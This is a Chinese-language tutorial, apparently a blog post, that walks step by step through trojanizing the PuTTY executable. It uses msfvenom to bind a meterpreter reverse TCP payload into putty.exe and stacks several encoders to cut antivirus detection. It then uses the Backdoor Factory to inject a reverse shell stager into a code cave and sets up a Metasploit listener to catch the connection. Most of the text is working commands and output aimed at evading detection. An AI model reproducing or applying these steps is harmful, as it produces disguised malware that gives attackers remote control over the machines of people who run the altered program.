backdoor-factory 顧名思義,直接翻譯過來就是后門工廠的意思。其利用打補丁的方式編碼加密PE文件,可以輕松的生成win32PE后門程序,從而幫助我們繞過一些防病毒軟件的查殺,達到一定得免殺效果,利用該工具,攻擊者可以在不破壞原有可執行文件的功能的前提下,在文件的代碼裂隙中插入惡意代碼Shellcode。當可執行文件被執行后,就可以觸發惡意代碼。Backdoor Factory不僅提供常用的腳本,還允許嵌入其他工具生成的Shellcode,如Metasploit。
在教程開始之前,我們先來思考一個問題,這個代碼裂痕是如何產生的?
一般在X86 系列的CPU 中,每次讀取一頁的數據,x86處理器中頁是按4KB(1000h)來排列的;而在IA-64 上,是按8KB(2000h)來排列的。所以在X86 系統中,PE文件區塊的內存對齊值一般等於 1000h,也就是4KB,每個區塊按1000h 的倍數在內存中存放。
通常情況下硬盤被格式化時默認對其就是4kb,但在硬盤中存放的文件是緊密排列的,為了能讓CPU認識這些指令,需要對硬盤中的程序進行擴展,也就是保證其4KB的對其方式,那么有些指令本身並沒有占用4KB的空間,這些指令會被墊片字節所取代,這也就是代碼中的縫隙,我們可以借助這些縫隙來進行插入惡意代碼。
通過 msfvenom 打亂編碼
1.我們可以使用如下命令,將 putty.exe 與后門程序合二為一,變成 shell.exe 但這種方式很容易被殺。
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 \
> -x putty.exe -k -f exe > shell.exe
root@kali:~# ls -lh
total 2.5M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe
2.通過簡單地 shikata_ga_nai 編碼器,將ShellCode編碼迭代打亂20次,然后生成 shell1.exe文件,此馬的報毒率明顯變低了。
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 \
> -e x86/shikata_ga_nai -i 20 \
> -x putty.exe -k -f exe > shell1.exe
root@kali:~# ls -lh
total 3.8M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe
3.然而上方的處理方式還是不理想,我們通過使用管道讓 msfvenom 對攻擊載荷多重編碼,先用shikata_ga_nai編碼10次,接着繼續20次的alpha_upper編碼,再來5次的countdown編碼,最后才生成shell3.exe的可執行文件。
root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -b '\x00\x0b' \
> -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.30 LPORT=8888 -f raw | \
> msfvenom -a x86 --platform windows -e x86/alpha_upper -i 20 -f raw | \
> msfvenom -a x86 --platform windows -e x86/countdown -i 5 \
> -x putty.exe -f exe > shell3.exe
root@kali:~# ls -lh
total 4.9M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.1M Aug 12 02:55 shell3.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe
通過 backdoor 注入代碼
接下來將使用Backdoor向Putty這個程序中注入一段ShellCode代碼,需要注意的是Kali中有一個坑,其系統中自帶的backdoor-factory並不能識別可執行文件,如下情況!
root@kali:~# backdoor-factory -f putty.exe
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/
Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory
Version: 3.4.2
[*] In the backdoor module
[*] Checking if binary is supported
putty.exe not a PE File
后來經過摸索,總算爬出來了,你需要自己下載這個程序,並安裝一個pip依賴,麻蛋的!
root@kali:~# wget https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
root@kali:~# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
root@kali:~# sudo pip install capstone
1.通過使用 backdoor -f putty.exe -S 命令,檢測Putty.exe 是否支持注入代碼。 -f:指定測試程序 -S:檢查該程序是否支持注入
root@kali:~/backdoor# python backdoor.py --file=/root/putty.exe --support_check
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/
Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory
Version: 3.4.2
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
/root/putty.exe is supported.
2.上方的結果顯示,該文件支持注入ShellCode,在確定其支持后,運行如下命令檢查裂痕大小,如下可看出裂痕大小不小於300
root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -c -l 300
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/
Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory
Version: 3.4.2
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
Looking for caves with a size of 300 bytes (measured as an integer
[*] Looking for caves
No section
->Begin Cave 0x288
->End of Cave 0x400
Size of Cave (int) 376 // 可填充的空間大小
3.確定了可以注入以后,我們們接着使用show參數,查看其支持注入的ShellCode類型,如下結果所示。
root@kali:~/backdoor# python backdoor.py -f /root/putty.exe show
Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory
Version: 3.4.2
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
cave_miner_inline
iat_reverse_tcp_inline
iat_reverse_tcp_inline_threaded
iat_reverse_tcp_stager_threaded
iat_user_supplied_shellcode_threaded
meterpreter_reverse_https_threaded
reverse_shell_tcp_inline
reverse_tcp_stager_threaded
user_supplied_shellcode_threaded
4.這里我們選擇 iat_reverse_tcp_stager_threaded 這個反向連接的Shell並注入到Putty.exe中,參數中 -s=指定Shell,-H 指定攻擊主機IP,-P 指定端口號。
root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded \
> -H 192.168.1.40 -P 8888
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Adding New Section for updated Import Table
[!] Adding VirtualAlloc Thunk in new IAT
[*] Gathering file info
回車執行后,我們可以看到以下界面。這里要求我們選擇 code cave ,提示我們要注入到那個區段,這里我就選擇2注入到rsrc區段。
############################################################
[*] Cave 1 length as int: 453
[*] Available caves:
1. Section Name: .00cfg; Section Begin: 0xb5000 End: 0xb5200; Cave begin: 0xb5007 End: 0xb51fc; Cave Size: 501
2. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb927a End: 0xb993b; Cave Size: 1729
3. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb99b5 End: 0xba956; Cave Size: 4001
4. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xbaa64 End: 0xbba17; Cave Size: 4019
5. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0x100423 End: 0x1005fd; Cave Size: 474
**************************************************
[!] Enter your selection: 2
[!] Using selection: 2
[*] Changing flags for section: .rsrc
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File putty.exe is in the 'backdoored' directory
默認情況下,會將制作好的文件放到 backdoored 這個文件中。
root@kali:~/backdoor/backdoored# ls -lh
總用量 1.1M
-rw-r--r-- 1 root root 1.1M 8月 12 11:52 putty.exe
制作完成后,我們去掃描一下。檢出率只有 24% 還算不錯。
5.回到攻擊主機,啟動MSF控制台,我們配置好偵聽端口,然后運行Putty.exe 程序看能否正常上線。
root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.40
lhost => 192.168.1.40
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.40:8888
msf5 exploit(multi/handler) >
成功上線!
以上 patch 方式屬於單代碼裂縫的注入,為了取得更好的免殺效果,我們還可以使用 多代碼裂縫的方式進行注入,參數如下!
root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded \
> -H 192.168.1.40 -P 8888 -J
由於是將代碼打亂插入到了程序中,過程中需要多次選擇要插入的區段,為了避免報錯,盡量選擇大一點的區段插入數據。